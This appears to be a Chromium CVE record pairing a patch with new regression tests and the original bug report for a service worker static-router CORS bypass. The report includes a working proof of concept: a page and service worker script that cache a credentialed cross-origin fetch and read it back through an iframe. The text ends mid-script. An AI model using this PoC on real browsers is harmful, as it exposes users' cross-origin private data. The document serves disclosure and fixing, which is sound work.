CVE-2026-113172
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
whilecontent/browser/service_worker/service_worker_browsertest.cc |
modified | |
TEST_Fcontent/browser/service_worker/service_worker_main_resource_loader_unittest.cc |
modified | |
TESTcontent/common/service_worker/service_worker_resource_loader_unittest.cc |
modified |
Files Changed
content/common/service_worker/service_worker_resource_loader_unittest.cccontent/browser/service_worker/service_worker_browsertest.cccontent/browser/service_worker/service_worker_main_resource_loader.cccontent/browser/service_worker/service_worker_main_resource_loader_unittest.cc
Patch
From 6bfff6708d62d0b68bfdf55f8f1115d2a59f4c55 Mon Sep 17 00:00:00 2001
From: Mike Taylor <miketaylr@chromium.org>
Date: Thu, 17 Sep 2026 08:50:21 -0700
Subject: [PATCH] Tests static router responses during main resource navigation
Ensure IsValidStaticRouterResponse is executed in
ServiceWorkerMainResourceLoader even when container_host() is null.
During main resource navigations, the container host is not yet
initialized prior to response commit, which previously caused static
router response validation to be skipped.
This change un-nests the validation check from the container host
condition and uses default embedder and isolation policies when the
container host is absent, properly rejecting invalid response types for
navigation requests.
TAG=agy
Bug: 515451922, 517655543
Change-Id: I70b3ebec83fa240095cc36d9f5f303882f9d6dfb
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8419460
Reviewed-by: Shunya Shishido <sisidovski@chromium.org>
Commit-Queue: Mike Taylor <miketaylr@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1699849}
---
diff --git a/content/browser/service_worker/service_worker_main_resource_loader.cc b/content/browser/service_worker/service_worker_main_resource_loader.cc
index 01c1ccb4..f12963d 100644
--- a/content/browser/service_worker/service_worker_main_resource_loader.cc
+++ b/content/browser/service_worker/service_worker_main_resource_loader.cc
@@ -976,6 +976,10 @@
network::DocumentIsolationPolicy document_isolation_policy;
network::mojom::DocumentIsolationPolicyReporter*
document_isolation_policy_reporter = nullptr;
+ // For main resource navigations, container_host() is not yet created
+ // prior to response commit. Policy container policies will default to
+ // empty, but IsValidStaticRouterResponse will still validate the response
+ // type (e.g. rejecting opaque responses for navigation mode).
if (service_worker_client_ && service_worker_client_->container_host()) {
ServiceWorkerContainerHostForClient* container_host =
service_worker_client_->container_host();
diff --git a/content/browser/service_worker/service_worker_browsertest.cc b/content/browser/service_worker/service_worker_browsertest.cc
index 7600782c..97ca2383 100644
--- a/content/browser/service_worker/service_worker_browsertest.cc
+++ b/content/browser/service_worker/service_worker_browsertest.cc
@@ -7270,6 +7270,7 @@
~ServiceWorkerStaticRouterBrowserTest() override = default;
void SetUpOnMainThread() override {
+ host_resolver()->AddRule("*", "127.0.0.1");
ServiceWorkerBrowserTest::SetUpOnMainThread();
test_ukm_recorder_ = std::make_unique<ukm::TestAutoSetUkmRecorder>();
}
@@ -7368,6 +7369,44 @@
}
}
+ void WaitUntilOpaqueResponseStoredInCache(const std::string& relative_url,
+ const GURL& cross_origin_url) {
+ StoragePartition* partition = shell()
+ ->web_contents()
+ ->GetBrowserContext()
+ ->GetDefaultStoragePartition();
+ int retries = 10;
+ while (retries-- > 0) {
+ if (CacheStorageDataChecker::Exist(
+ partition->GetCacheStorageControl(),
+ embedded_test_server()->base_url(), std::string("test"),
+ embedded_test_server()->GetURL(relative_url)) ==
+ CacheStorageDataChecker::Status::kExist) {
+ return;
+ }
+ EXPECT_EQ("opaque", EvalJs(GetPrimaryMainFrame(),
+ JsReplace(R"(
+ (async () => {
+ const iframe = document.createElement('iframe');
+ iframe.src = '/empty.html';
+ document.body.appendChild(iframe);
+ await new Promise(resolve => iframe.onload = resolve);
+ const res = await iframe.contentWindow.fetch($1, { mode:'no-cors'});
+ const type = res.type;
+ const c = await iframe.contentWindow.caches.open("test");
+ await c.put($2, res);
+ iframe.remove();
+ return type;
+ })();)",
+ cross_origin_url, relative_url)));
+ }
+ ASSERT_EQ(CacheStorageDataChecker::Exist(
+ partition->GetCacheStorageControl(),
+ embedded_test_server()->base_url(), std::string("test"),
+ embedded_test_server()->GetURL(relative_url)),
+ CacheStorageDataChecker::Status::kExist);
+ }
+
private:
void RegisterRequestHandlerForTest() {
embedded_test_server()->RegisterRequestHandler(base::BindRepeating(
@@ -7700,6 +7739,9 @@
ukm::TestAutoSetUkmRecorder::EntryHasMetric(
entry, MainResourceLoadCompletedUkmEntry::kCacheLookupTimeName);
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", true, 1);
}
IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
@@ -7769,6 +7811,9 @@
ukm::TestAutoSetUkmRecorder::EntryHasMetric(
entry, MainResourceLoadCompletedUkmEntry::kCacheLookupTimeName);
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", true, 1);
}
IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
@@ -7884,6 +7929,69 @@
}
IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
+ MainResourceCacheStorageOpaqueResponseBlocked) {
+ SetupAndRegisterServiceWorker(TestType::kNetwork);
+ WorkerRunningStatusObserver observer(public_context());
+ const std::string relative_url = "/service_worker/cache_opaque";
+ const GURL cross_origin_url =
+ embedded_test_server()->GetURL("b.com", "/service_worker/empty.html");
+ WaitUntilOpaqueResponseStoredInCache(relative_url, cross_origin_url);
+
+ // Main resource navigation with an opaque cached response should not succeed.
+ EXPECT_FALSE(
+ NavigateToURL(shell(), embedded_test_server()->GetURL(relative_url)));
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", false, 1);
+}
+
+IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
+ IframeCacheStorageOpaqueResponseBlocked) {
+ SetupAndRegisterServiceWorker(TestType::kNetwork);
+ WorkerRunningStatusObserver observer(public_context());
+ const std::string relative_url = "/service_worker/cache_opaque";
+ const GURL cross_origin_url =
+ embedded_test_server()->GetURL("b.com", "/service_worker/empty.html");
+ WaitUntilOpaqueResponseStoredInCache(relative_url, cross_origin_url);
+
+ EXPECT_TRUE(ExecJs(GetPrimaryMainFrame(), R"(
+ const iframe = document.createElement('iframe');
+ iframe.id = 'test_iframe';
+ iframe.src = '/service_worker/cache_opaque';
+ document.body.appendChild(iframe);
+ )"));
+
+ EXPECT_TRUE(WaitForLoadStop(web_contents()));
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", false, 1);
+}
+
+IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
+ SubresourceCacheStorageOpaqueResponseBlocked) {
+ SetupAndRegisterServiceWorker(TestType::kNetwork);
+ ReloadBlockUntilNavigationsComplete(shell(), 1);
+ StopServiceWorker(version().get());
+
+ const std::string relative_url = "/service_worker/cache_opaque";
+ const GURL cross_origin_url =
+ embedded_test_server()->GetURL("b.com", "/service_worker/empty.html");
+ WaitUntilOpaqueResponseStoredInCache(relative_url, cross_origin_url);
+
+ EXPECT_EQ(
+ "TypeError: Failed to fetch",
+ EvalJs(GetPrimaryMainFrame(),
+ "fetch('" + relative_url +
+ "').then(() => 'FETCH_SUCCEEDED').catch(e => e.name + ': ' + "
+ "e.message)"));
+
+ FetchHistogramsFromChildProcesses();
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.Subresource.ValidResponse", false, 1);
+}
+
+IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
FetchEventShouldBeUsedWithFetchHandler) {
StartServerAndNavigateToSetup();
diff --git a/content/browser/service_worker/service_worker_main_resource_loader_unittest.cc b/content/browser/service_worker/service_worker_main_resource_loader_unittest.cc
index f80badce..d10b32c1 100644
--- a/content/browser/service_worker/service_worker_main_resource_loader_unittest.cc
+++ b/content/browser/service_worker/service_worker_main_resource_loader_unittest.cc
@@ -742,8 +742,10 @@
helper_->browser_context()->GetDefaultStoragePartition()));
}
- std::unique_ptr<network::ResourceRequest> CreateRequestAndSetupCache(
- const base::Time& cache_response_time) {
+ std::unique_ptr<network::ResourceRequest>
+ CreateRequestAndSetupCacheWithResponse(
+ const base::Time& cache_response_time,
+ blink::mojom::FetchAPIResponsePtr response) {
auto request = CreateRequest();
SetupStoragePartition();
@@ -775,10 +777,7 @@
operation_ptr_vec[0]->operation_type =
blink::mojom::OperationType::kPut;
operation_ptr_vec[0]->request = CreateFetchAPIRequest(request.get());
- operation_ptr_vec[0]->response =
- OkResponse(nullptr /* blob_body */,
- network::mojom::FetchResponseSource::kUnspecified,
- cache_response_time, kTestCacheName);
+ operation_ptr_vec[0]->response = std::move(response);
cache.Bind(std::move(result.value()));
cache->Batch(
std::move(operation_ptr_vec), /* trace_id= */ 0,
@@ -790,6 +789,15 @@
return request;
}
+ std::unique_ptr<network::ResourceRequest> CreateRequestAndSetupCache(
+ const base::Time& cache_response_time) {
+ return CreateRequestAndSetupCacheWithResponse(
+ cache_response_time,
+ OkResponse(nullptr /* blob_body */,
+ network::mojom::FetchResponseSource::kUnspecified,
+ cache_response_time, kTestCacheName));
+ }
+
// Runs until the ServiceWorkerMainResourceLoader created in StartRequest()
// calls the |fallback_callback| given to it. The argument passed to
// |fallback_callback| is saved in |reset_subresurce_loader_params_|.
@@ -1901,6 +1909,8 @@
histogram_tester.ExpectUniqueSample(kHistogramMainResourceFetchEvent,
blink::ServiceWorkerStatusCode::kOk, 1);
+ histogram_tester.ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", true, 1);
if (LoaderRecordsTimingMetrics()) {
histogram_tester.ExpectTotalCount(
"ServiceWorker.LoadTiming.MainFrame.MainResource."
@@ -1937,6 +1947,36 @@
EXPECT_EQ(200, info->headers->response_code());
}
+TEST_F(ServiceWorkerMainResourceLoaderTest,
+ StaticRoutingCache_OpaqueResponseBlocked) {
+ base::HistogramTester histogram_tester;
+
+ SetupStaticRoutingRules(
+ network::mojom::ServiceWorkerRouterSourceType::kCache);
+
+ base::Time response_time = base::Time::Now();
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->status_code = 200;
+ response->status_text = "OK";
+ response->response_type = network::mojom::FetchResponseType::kOpaque;
+ response->response_source =
+ network::mojom::FetchResponseSource::kCacheStorage;
+ response->response_time = response_time;
+ response->cache_storage_cache_name = kTestCacheName;
+ response->padding = 10;
+ response->url_list.emplace_back("https://other.example.com/resource");
+
+ auto request = CreateRequestAndSetupCacheWithResponse(response_time,
+ std::move(response));
+
+ StartRequest(std::move(request));
+ client_.RunUntilComplete();
+
+ EXPECT_EQ(net::ERR_FAILED, client_.completion_status().error_code);
+ histogram_tester.ExpectUniqueSample(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", false, 1);
+}
+
// Similar to Basic test setup, but with matching cache static routing rule and
// no entry in cache.
TEST_F(ServiceWorkerMainResourceLoaderTest, StaticRoutingCacheMiss) {
@@ -2189,6 +2229,8 @@
histogram_tester.ExpectUniqueSample(kHistogramMainResourceFetchEvent,
blink::ServiceWorkerStatusCode::kOk, 1);
+ histogram_tester.ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", true, 1);
if (LoaderRecordsTimingMetrics()) {
histogram_tester.ExpectTotalCount(
"ServiceWorker.LoadTiming.MainFrame.MainResource."
@@ -2201,6 +2243,48 @@
}
}
+// Similar to StaticRoutingRaceNetWorkAndCacheCacheWin, but cache returns
+// an opaque response for main resource navigation, which must be rejected.
+TEST_F(ServiceWorkerMainResourceLoaderTest,
+ StaticRoutingRaceNetWorkAndCache_OpaqueResponseBlocked) {
+ base::HistogramTester histogram_tester;
+
+ SetupStaticRoutingRules(
+ network::mojom::ServiceWorkerRouterSourceType::kRaceNetworkAndCache);
+
+ SetupErrorNetworkResponse();
+
+ // Defer the race network request processing to receive the cache
+ // response first.
+ DeferRequestHandling();
+
+ base::Time response_time = base::Time::Now();
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->status_code = 200;
+ response->status_text = "OK";
+ response->response_type = network::mojom::FetchResponseType::kOpaque;
+ response->response_source =
+ network::mojom::FetchResponseSource::kCacheStorage;
+ response->response_time = response_time;
+ response->cache_storage_cache_name = kTestCacheName;
+ response->padding = 10;
+ response->url_list.emplace_back("https://other.example.com/resource");
+
+ auto request = CreateRequestAndSetupCacheWithResponse(response_time,
+ std::move(response));
+
+ StartRequest(std::move(request));
+ client_.RunUntilComplete();
+
+ // After receiving the cache response, resume the network request
+ // processing.
+ HandleDeferedRequest();
+
+ EXPECT_EQ(net::ERR_FAILED, client_.completion_status().error_code);
+ histogram_tester.ExpectUniqueSample(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", false, 1);
+}
+
TEST_F(ServiceWorkerMainResourceLoaderTest, SearchPrefetchHitInSyntheticResponse) {
base::test::ScopedFeatureList feature_list;
feature_list.InitAndEnableFeatureWithParameters(
diff --git a/content/common/service_worker/service_worker_resource_loader_unittest.cc b/content/common/service_worker/service_worker_resource_loader_unittest.cc
index 5d747f5..7803e62 100644
--- a/content/common/service_worker/service_worker_resource_loader_unittest.cc
+++ b/content/common/service_worker/service_worker_resource_loader_unittest.cc
@@ -131,6 +131,58 @@
EXPECT_FALSE(ServiceWorkerResourceLoader::IsValidServiceWorkerResponse(
request_mode, network::mojom::RedirectMode::kManual, response));
}
+
+ // navigate request and default response (OK).
+ {
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->response_type = network::mojom::FetchResponseType::kDefault;
+ EXPECT_TRUE(ServiceWorkerResourceLoader::IsValidServiceWorkerResponse(
+ network::mojom::RequestMode::kNavigate, redirect_mode, response));
+ }
+
+ // navigate request and basic response (OK).
+ {
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->response_type = network::mojom::FetchResponseType::kBasic;
+ EXPECT_TRUE(ServiceWorkerResourceLoader::IsValidServiceWorkerResponse(
+ network::mojom::RequestMode::kNavigate, redirect_mode, response));
+ }
+
+ // navigate request and cors response (OK).
+ {
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->response_type = network::mojom::FetchResponseType::kCors;
+ EXPECT_TRUE(ServiceWorkerResourceLoader::IsValidServiceWorkerResponse(
+ network::mojom::RequestMode::kNavigate, redirect_mode, response));
+ }
+
+ // navigate request and opaque response.
+ {
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->response_type = network::mojom::FetchResponseType::kOpaque;
+ EXPECT_FALSE(ServiceWorkerResourceLoader::IsValidServiceWorkerResponse(
+ network::mojom::RequestMode::kNavigate, redirect_mode, response));
+ }
+
+ // navigate request, opaqueredirect response, and follow redirect mode.
+ {
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->response_type =
+ network::mojom::FetchResponseType::kOpaqueRedirect;
+ EXPECT_FALSE(ServiceWorkerResourceLoader::IsValidServiceWorkerResponse(
+ network::mojom::RequestMode::kNavigate,
+ network::mojom::RedirectMode::kFollow, response));
+ }
+
+ // navigate request, opaqueredirect response, and manual redirect mode (OK).
+ {
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->response_type =
+ network::mojom::FetchResponseType::kOpaqueRedirect;
+ EXPECT_TRUE(ServiceWorkerResourceLoader::IsValidServiceWorkerResponse(
+ network::mojom::RequestMode::kNavigate,
+ network::mojom::RedirectMode::kManual, response));
+ }
}
TEST(ServiceWorkerResourceLoaderTest, IsValidStaticRouterResponse) {
@@ -295,6 +347,55 @@
... (file diff truncated)
Regression Test / PoC
diff --git a/content/browser/service_worker/service_worker_browsertest.cc b/content/browser/service_worker/service_worker_browsertest.cc
index 7600782c..97ca2383 100644
--- a/content/browser/service_worker/service_worker_browsertest.cc
+++ b/content/browser/service_worker/service_worker_browsertest.cc
@@ -7270,6 +7270,7 @@
~ServiceWorkerStaticRouterBrowserTest() override = default;
void SetUpOnMainThread() override {
+ host_resolver()->AddRule("*", "127.0.0.1");
ServiceWorkerBrowserTest::SetUpOnMainThread();
test_ukm_recorder_ = std::make_unique<ukm::TestAutoSetUkmRecorder>();
}
@@ -7368,6 +7369,44 @@
}
}
+ void WaitUntilOpaqueResponseStoredInCache(const std::string& relative_url,
+ const GURL& cross_origin_url) {
+ StoragePartition* partition = shell()
+ ->web_contents()
+ ->GetBrowserContext()
+ ->GetDefaultStoragePartition();
+ int retries = 10;
+ while (retries-- > 0) {
+ if (CacheStorageDataChecker::Exist(
+ partition->GetCacheStorageControl(),
+ embedded_test_server()->base_url(), std::string("test"),
+ embedded_test_server()->GetURL(relative_url)) ==
+ CacheStorageDataChecker::Status::kExist) {
+ return;
+ }
+ EXPECT_EQ("opaque", EvalJs(GetPrimaryMainFrame(),
+ JsReplace(R"(
+ (async () => {
+ const iframe = document.createElement('iframe');
+ iframe.src = '/empty.html';
+ document.body.appendChild(iframe);
+ await new Promise(resolve => iframe.onload = resolve);
+ const res = await iframe.contentWindow.fetch($1, { mode:'no-cors'});
+ const type = res.type;
+ const c = await iframe.contentWindow.caches.open("test");
+ await c.put($2, res);
+ iframe.remove();
+ return type;
+ })();)",
+ cross_origin_url, relative_url)));
+ }
+ ASSERT_EQ(CacheStorageDataChecker::Exist(
+ partition->GetCacheStorageControl(),
+ embedded_test_server()->base_url(), std::string("test"),
+ embedded_test_server()->GetURL(relative_url)),
+ CacheStorageDataChecker::Status::kExist);
+ }
+
private:
void RegisterRequestHandlerForTest() {
embedded_test_server()->RegisterRequestHandler(base::BindRepeating(
@@ -7700,6 +7739,9 @@
ukm::TestAutoSetUkmRecorder::EntryHasMetric(
entry, MainResourceLoadCompletedUkmEntry::kCacheLookupTimeName);
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", true, 1);
}
IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
@@ -7769,6 +7811,9 @@
ukm::TestAutoSetUkmRecorder::EntryHasMetric(
entry, MainResourceLoadCompletedUkmEntry::kCacheLookupTimeName);
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", true, 1);
}
IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
@@ -7884,6 +7929,69 @@
}
IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
+ MainResourceCacheStorageOpaqueResponseBlocked) {
+ SetupAndRegisterServiceWorker(TestType::kNetwork);
+ WorkerRunningStatusObserver observer(public_context());
+ const std::string relative_url = "/service_worker/cache_opaque";
+ const GURL cross_origin_url =
+ embedded_test_server()->GetURL("b.com", "/service_worker/empty.html");
+ WaitUntilOpaqueResponseStoredInCache(relative_url, cross_origin_url);
+
+ // Main resource navigation with an opaque cached response should not succeed.
+ EXPECT_FALSE(
+ NavigateToURL(shell(), embedded_test_server()->GetURL(relative_url)));
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", false, 1);
+}
+
+IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
+ IframeCacheStorageOpaqueResponseBlocked) {
+ SetupAndRegisterServiceWorker(TestType::kNetwork);
+ WorkerRunningStatusObserver observer(public_context());
+ const std::string relative_url = "/service_worker/cache_opaque";
+ const GURL cross_origin_url =
+ embedded_test_server()->GetURL("b.com", "/service_worker/empty.html");
+ WaitUntilOpaqueResponseStoredInCache(relative_url, cross_origin_url);
+
+ EXPECT_TRUE(ExecJs(GetPrimaryMainFrame(), R"(
+ const iframe = document.createElement('iframe');
+ iframe.id = 'test_iframe';
+ iframe.src = '/service_worker/cache_opaque';
+ document.body.appendChild(iframe);
+ )"));
+
+ EXPECT_TRUE(WaitForLoadStop(web_contents()));
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", false, 1);
+}
+
+IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
+ SubresourceCacheStorageOpaqueResponseBlocked) {
+ SetupAndRegisterServiceWorker(TestType::kNetwork);
+ ReloadBlockUntilNavigationsComplete(shell(), 1);
+ StopServiceWorker(version().get());
+
+ const std::string relative_url = "/service_worker/cache_opaque";
+ const GURL cross_origin_url =
+ embedded_test_server()->GetURL("b.com", "/service_worker/empty.html");
+ WaitUntilOpaqueResponseStoredInCache(relative_url, cross_origin_url);
+
+ EXPECT_EQ(
+ "TypeError: Failed to fetch",
+ EvalJs(GetPrimaryMainFrame(),
+ "fetch('" + relative_url +
+ "').then(() => 'FETCH_SUCCEEDED').catch(e => e.name + ': ' + "
+ "e.message)"));
+
+ FetchHistogramsFromChildProcesses();
+
+ histogram_tester().ExpectBucketCount(
+ "ServiceWorker.StaticRouter.Subresource.ValidResponse", false, 1);
+}
+
+IN_PROC_BROWSER_TEST_F(ServiceWorkerStaticRouterBrowserTest,
FetchEventShouldBeUsedWithFetchHandler) {
StartServerAndNavigateToSetup();
diff --git a/content/browser/service_worker/service_worker_main_resource_loader_unittest.cc b/content/browser/service_worker/service_worker_main_resource_loader_unittest.cc
index f80badce..d10b32c1 100644
--- a/content/browser/service_worker/service_worker_main_resource_loader_unittest.cc
+++ b/content/browser/service_worker/service_worker_main_resource_loader_unittest.cc
@@ -742,8 +742,10 @@
helper_->browser_context()->GetDefaultStoragePartition()));
}
- std::unique_ptr<network::ResourceRequest> CreateRequestAndSetupCache(
- const base::Time& cache_response_time) {
+ std::unique_ptr<network::ResourceRequest>
+ CreateRequestAndSetupCacheWithResponse(
+ const base::Time& cache_response_time,
+ blink::mojom::FetchAPIResponsePtr response) {
auto request = CreateRequest();
SetupStoragePartition();
@@ -775,10 +777,7 @@
operation_ptr_vec[0]->operation_type =
blink::mojom::OperationType::kPut;
operation_ptr_vec[0]->request = CreateFetchAPIRequest(request.get());
- operation_ptr_vec[0]->response =
- OkResponse(nullptr /* blob_body */,
- network::mojom::FetchResponseSource::kUnspecified,
- cache_response_time, kTestCacheName);
+ operation_ptr_vec[0]->response = std::move(response);
cache.Bind(std::move(result.value()));
cache->Batch(
std::move(operation_ptr_vec), /* trace_id= */ 0,
@@ -790,6 +789,15 @@
return request;
}
+ std::unique_ptr<network::ResourceRequest> CreateRequestAndSetupCache(
+ const base::Time& cache_response_time) {
+ return CreateRequestAndSetupCacheWithResponse(
+ cache_response_time,
+ OkResponse(nullptr /* blob_body */,
+ network::mojom::FetchResponseSource::kUnspecified,
+ cache_response_time, kTestCacheName));
+ }
+
// Runs until the ServiceWorkerMainResourceLoader created in StartRequest()
// calls the |fallback_callback| given to it. The argument passed to
// |fallback_callback| is saved in |reset_subresurce_loader_params_|.
@@ -1901,6 +1909,8 @@
histogram_tester.ExpectUniqueSample(kHistogramMainResourceFetchEvent,
blink::ServiceWorkerStatusCode::kOk, 1);
+ histogram_tester.ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", true, 1);
if (LoaderRecordsTimingMetrics()) {
histogram_tester.ExpectTotalCount(
"ServiceWorker.LoadTiming.MainFrame.MainResource."
@@ -1937,6 +1947,36 @@
EXPECT_EQ(200, info->headers->response_code());
}
+TEST_F(ServiceWorkerMainResourceLoaderTest,
+ StaticRoutingCache_OpaqueResponseBlocked) {
+ base::HistogramTester histogram_tester;
+
+ SetupStaticRoutingRules(
+ network::mojom::ServiceWorkerRouterSourceType::kCache);
+
+ base::Time response_time = base::Time::Now();
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->status_code = 200;
+ response->status_text = "OK";
+ response->response_type = network::mojom::FetchResponseType::kOpaque;
+ response->response_source =
+ network::mojom::FetchResponseSource::kCacheStorage;
+ response->response_time = response_time;
+ response->cache_storage_cache_name = kTestCacheName;
+ response->padding = 10;
+ response->url_list.emplace_back("https://other.example.com/resource");
+
+ auto request = CreateRequestAndSetupCacheWithResponse(response_time,
+ std::move(response));
+
+ StartRequest(std::move(request));
+ client_.RunUntilComplete();
+
+ EXPECT_EQ(net::ERR_FAILED, client_.completion_status().error_code);
+ histogram_tester.ExpectUniqueSample(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", false, 1);
+}
+
// Similar to Basic test setup, but with matching cache static routing rule and
// no entry in cache.
TEST_F(ServiceWorkerMainResourceLoaderTest, StaticRoutingCacheMiss) {
@@ -2189,6 +2229,8 @@
histogram_tester.ExpectUniqueSample(kHistogramMainResourceFetchEvent,
blink::ServiceWorkerStatusCode::kOk, 1);
+ histogram_tester.ExpectBucketCount(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", true, 1);
if (LoaderRecordsTimingMetrics()) {
histogram_tester.ExpectTotalCount(
"ServiceWorker.LoadTiming.MainFrame.MainResource."
@@ -2201,6 +2243,48 @@
}
}
+// Similar to StaticRoutingRaceNetWorkAndCacheCacheWin, but cache returns
+// an opaque response for main resource navigation, which must be rejected.
+TEST_F(ServiceWorkerMainResourceLoaderTest,
+ StaticRoutingRaceNetWorkAndCache_OpaqueResponseBlocked) {
+ base::HistogramTester histogram_tester;
+
+ SetupStaticRoutingRules(
+ network::mojom::ServiceWorkerRouterSourceType::kRaceNetworkAndCache);
+
+ SetupErrorNetworkResponse();
+
+ // Defer the race network request processing to receive the cache
+ // response first.
+ DeferRequestHandling();
+
+ base::Time response_time = base::Time::Now();
+ auto response = blink::mojom::FetchAPIResponse::New();
+ response->status_code = 200;
+ response->status_text = "OK";
+ response->response_type = network::mojom::FetchResponseType::kOpaque;
+ response->response_source =
+ network::mojom::FetchResponseSource::kCacheStorage;
+ response->response_time = response_time;
+ response->cache_storage_cache_name = kTestCacheName;
+ response->padding = 10;
+ response->url_list.emplace_back("https://other.example.com/resource");
+
+ auto request = CreateRequestAndSetupCacheWithResponse(response_time,
+ std::move(response));
+
+ StartRequest(std::move(request));
+ client_.RunUntilComplete();
+
+ // After receiving the cache response, resume the network request
+ // processing.
+ HandleDeferedRequest();
+
+ EXPECT_EQ(net::ERR_FAILED, client_.completion_status().error_code);
+ histogram_tester.ExpectUniqueSample(
+ "ServiceWorker.StaticRouter.MainResource.ValidResponse", false, 1);
+}
+
TEST_F(ServiceWorkerMainResourceLoaderTest, SearchPrefetchHitInSyntheticResponse) {
base::test::ScopedFeatureList feature_list;
feature_list.InitAndEnableFeatureWithParameters(
diff --git a/content/common/service_worker/service_worker_resource_loader_unittest.cc b/content/common/service_worker/service_worker_resource_loader_unittest.cc
index 5d747f5..7803e62 100644
--- a/content/common/service_worker/service_worker_resource_loader_unittest.cc
+++ b/content/common/service_worker/service_worker_resource_loader_unittest.cc
@@ -131,6 +131,58 @@
... (truncated)
Original Bug Report
CORS bypass to access Opaque Responses
Report description
CORS bypass to access Opaque Responses
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
The problem
Please describe the technical details of the vulnerability
This maybe a patch bypass if this commit aimed to neutralize this exact vuln class.
The vulnerability exists in content/browser/service_worker/service_worker_main_resource_loader.cc within the DidDispatchFetchEvent function. When the loader processes a response from the Static Router cache, it attempts to validate it against CORP and Opaque response rules:
// Block invalid responses from the static router.
if (service_worker_client_ && service_worker_client_->container_host()) {
ServiceWorkerContainerHostForClient* container_host =
service_worker_client_->container_host();
if (!IsValidStaticRouterResponse(...) &&
base::FeatureList::IsEnabled(features::kServiceWorkerStaticRouterOpaqueCheck)) {
CommitCompleted(net::ERR_FAILED, "Invalid response from static router");
return;
}
}
The entire security validation is wrapped inside the if (service_worker_client_ && service_worker_client_->container_host()) block.
While a subresource request (like a normal fetch()) will have a fully initialized container_host and successfully trigger the block, a main resource navigation (such as assigning iframe.src = ‘/bypass’) hits this code path before the new document context’s container_host is fully initialized or linked (atleast thats what I believe so, I just tested with a subframe and it worked, so this I am just deducing from results on this part.)
Because container_host() returns null, the if block is skipped. The loader fails open, completely ignoring IsValidStaticRouterResponse and the feature flags. Execution falls through to StartResponse(), committing the opaque, cross-origin bytes as a readable same-origin HTML document.
Basic Self Host PoC - index.html -
<html>
<body>
<h2>Service Worker Static Router Bypass (Iframe Vector)</h2>
<p id="status">Registering Service Worker...</p>
<div id="result" style="padding: 10px; background: #222; color: #0f0; font-family: monospace; display: none; margin-top: 10px;"></div>
<script>
(async function() {
try {
const reg = await navigator.serviceWorker.register('/sw.js');
if (reg.installing || reg.waiting) {
const sw = reg.installing || reg.waiting;
await new Promise(resolve => {
sw.addEventListener('statechange', e => {
if (e.target.state === 'activated') resolve();
});
});
}
if (!navigator.serviceWorker.controller) {
console.log('Waiting for SW to take control...');
await new Promise(resolve => {
navigator.serviceWorker.addEventListener('controllerchange', resolve);
});
}
document.getElementById('status').innerText = 'SW Controlling! Injecting iframe to /bypass...';
const iframe = document.createElement('iframe');
iframe.src = '/bypass';
iframe.style.display = 'none';
iframe.onload = () => {
try {
const leakedText = iframe.contentDocument.body.innerText;
const resultDiv = document.getElementById('result');
resultDiv.style.display = 'block';
if (leakedText) {
document.getElementById('status').innerText = 'Success: Cross-Origin Data Leaked via Iframe!';
resultDiv.innerText = leakedText;
resultDiv.style.color = '#f00';
} else {
document.getElementById('status').innerText = 'FAILED: Data was not leaked.';
resultDiv.innerText = leakedText;
}
} catch (e) {
document.getElementById('status').innerText = 'SAFE: Browser blocked iframe content access.';
console.error(e);
}
};
document.body.appendChild(iframe);
} catch (err) {
document.getElementById('status').innerText = 'Error executing PoC.';
console.error(err);
}
})();
</script>
</body>
</html>
sw.js -
self.addEventListener('install', (event) => {
event.waitUntil((async () => {
const cache = await caches.open('v1');
console.log('[SW] Fetching cross-origin secret opaquely...');
// Replace this target to any cross origin page. just make sure its not blocked under ORB in no-cors)
const opaqueRes = await fetch('https://webhook.site/8893c8fc-9aad-4871-b690-c338c038204d', { mode: 'no-cors', credentials:"include" });
